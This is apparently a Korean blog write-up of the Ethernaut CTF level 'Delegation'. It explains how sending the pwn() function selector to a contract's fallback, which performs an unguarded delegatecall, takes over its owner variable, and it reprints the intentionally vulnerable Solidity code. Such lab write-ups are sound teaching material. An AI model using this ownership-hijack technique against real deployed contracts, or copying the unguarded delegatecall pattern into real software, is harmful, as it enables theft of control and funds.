오너쉽 가져오면 된다.
Delegation컨트랙트에 있는 fallback()을 이용해서 msg.data에 Delegate컨트랙트에 있는 pwn()를 실행하면 된다.
fallback은 해당 컨트랙트에 없는 함수가 들어왔을 때 실행되는 함수이다. 그래서 문제를 보면 Delegation컨트랙트에는 pwn()이라는 함수 가 없는데 fallback이 실행되면서 delegatecall(msg.data)에 의해서 msg.data에 pwn() 함수에 대한 정보가 있으면 그것을 실행시키는 것.
function attack() external {
delegation.call(abi.encodeWithSignature("pwn()"));
}
이렇게 작성하고 날렸을때 정상적으로 날아갔다. 그런데 owner를 불렀을 때
원래 0x73379d8B82Fda494ee59555f333DF7D44483fD58 에서 바뀌긴 했는데 내가 작성한 공격 컨트랙트가 owner가 되었다.
바로 Delegation컨트랙트에 data를 쏴서 실행시켜야 할 듯 하다.
const pwnkeccak = web3.utils.keccak256("pwn()")
web3.utils에 있는 keccak256으로 바이트를 만들어서
sendTransaction으로 날리면 끝.
level 6.Delegation 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
'CTF > Ethernaut' 카테고리의 다른 글
[Ethernaut] 8.Vault (0) | 2024.02.01 |
---|---|
[Ethernaut] 7.Force (0) | 2024.02.01 |
[Ethernaut] 5. Token (0) | 2024.01.26 |
[Ethernaut] 4. Telephone (0) | 2024.01.26 |
[Ethernaut] 3. Coin Flip (0) | 2024.01.25 |